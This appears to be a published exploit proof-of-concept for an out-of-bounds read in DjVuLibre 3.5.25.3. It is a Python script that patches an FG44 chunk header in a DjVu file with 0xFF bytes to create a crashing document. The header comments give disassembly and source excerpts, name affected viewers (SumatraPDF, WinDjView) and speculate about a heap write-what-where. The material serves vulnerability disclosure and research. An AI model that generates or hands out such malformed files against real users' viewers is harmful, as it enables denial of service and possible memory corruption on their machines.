DjVuLibre 3.5.25.3 - Out of Bounds Access Violation

from shutil import copyfile
import sys

"""
Exploit Title: DjVuLibre <= 3.5.25 Out of Bounds Access Violation
Date: 07/14/24
Exploit Author: drone (@dronesec)
Vendor: http://djvu.sourceforge.net/
Software link: http://downloads.sourceforge.net/djvu/djvulibre-3.5.25.3.tar.gz
Version: <= 3.5.25.3
Tested On: WinXP/Win7 
Patch: https://sourceforge.net/p/djvu/djvulibre-git/ci/7993b445f071a15248bd4be788a10643213cb9d2/

The crash occurs due to a out of bounds read 

	.text:004D3BC0 mov     ecx, edx
	.text:004D3BC2 and     ecx, 0Fh
 =>	.text:004D3BC5 mov     eax, [eax+ecx*4]
	.text:004D3BC8 test    eax, eax
	.text:004D3BCA jnz     short loc_

We overwrite 4 bytes in an FG44 chunk header with \xff\xff\xff\xff:

	46 47 
	34 34 00 00 04 6E 00 64 01 02 FF FF FF FF 80 FF 	<= 
	F2 D9 81 5E 5C 51 12 AD 6B 27 14 29 F6 53 2B DD 
	79 B0 01 E3 E2 71 33 58 CA 23 AE 25 35 E8 FF FF 
	FF FF F5 BA 7A FA 45 39 C7 CD E0 76 93 FF FF FF 
	FF FF F4 F1 85 98 84 DF 58 71 FE 2A 5F FF B7 16 
	31 67 4E 93 F0 2D 20 D5 58 22 39 02 26 7E A6 03 

The crash occurs during image parsing:
	
	// Allocate reconstruction buffer
	short *data16;
	GPBuffer<short> gdata16(data16,bw*bh);
	// Copy coefficients
	int i;
	short *p = data16;
	const IW44Image::Block *block = blocks;
	for (i=0; i<bh; i+=32)
	{
	  for (int j=0; j<bw; j+=32)
	    {
	      short liftblock[1024];
	      // transfer into IW44Image::Block (apply zigzag and scaling)
	      block->write_liftblock(liftblock);

	[...]

	void  
	IW44Image::Block::write_liftblock(short *coeff, int bmin, int bmax) const
	{
	  int n = bmin<<4;
	  memset(coeff, 0, 1024*sizeof(short));
	  for (int n1=bmin; n1<bmax; n1++)
	    {
	      const short *d = data(n1);

	[....]

	inline const short* 
	IW44Image::Block::data(int n) const
	{
	  if (! pdata[n>>4])
	    return 0;
	  return pdata[n>>4][n&15];
	}

Which lines up quite nicely with our inlined disassembly of the function:

	.text:004D3BB0 loc_4D3BB0:
	.text:004D3BB0 mov     ecx, [esp+0Ch+arg_0]
	.text:004D3BB4 mov     eax, edx
	.text:004D3BB6 sar     eax, 4 			 ; [n>>4]
	.text:004D3BB9 mov     eax, [ecx+eax*4]  ; our pdata[n] data after the bitwise shift, lets call it n2
	.text:004D3BBC test    eax, eax  		 ; if(n2 == 0)
	.text:004D3BBE jz      short loc_4       ; return 0
	.text:004D3BC0 mov     ecx, edx
	.text:004D3BC2 and     ecx, 0Fh			 ; apply n & 15, or pdata[n2][n&15], lets call it n3
=>	.text:004D3BC5 mov     eax, [eax+ecx*4]  ; dereference pdata[n2][n3] into d
	.text:004D3BC8 test    eax, eax  		 ; test if d == 0
	.text:004D3BCA jnz     short loc_

n2 refs to a location on the heap; may be exploitable if we stack Fg44 chunks with valid headers and malformed content, so the chunk
is allocated, then free'd, and hopefully our pointer dips into one of those free'd chunks.  The returned short pointer is then used as the source in a 
memcpy with a controllable destination; write-what-where.  Who knows.  

Tested with SumatraPDF 2.5.2 and WinDjView 2.0.2
"""

if len(sys.argv) < 2:
	print '[%s] <djvu file>' % sys.argv[0]
	sys.exit(1)

bfile = sys.argv[1]

# read in the data for parsing
base_data = None
with open(bfile, "rb") as f:
	base_data = f.read()

# find a valid chunk
chunk_idx = base_data.find("\x46\x47\x34\x34")
if chunk_idx == -1:
	print '[-] No valid FG44 chunks found'
	sys.exit(1)

copyfile(bfile, "./%s-dos.djvu" % bfile)

print '[!] Found FG44 chunk at offset %d' % chunk_idx

# overwrite
with open("./%s-dos.djvu" % bfile, "r+b") as base:
	# skip over 4 byte indicator (FG44)
	#			2 byte primary header
	#			2 byte secondary header
	#			4 byte tertiary header
	base.seek(chunk_idx+12)
	base.write("\xff\xff\xff\xff")

print '[!] %s-dos.djvu generated' % bfile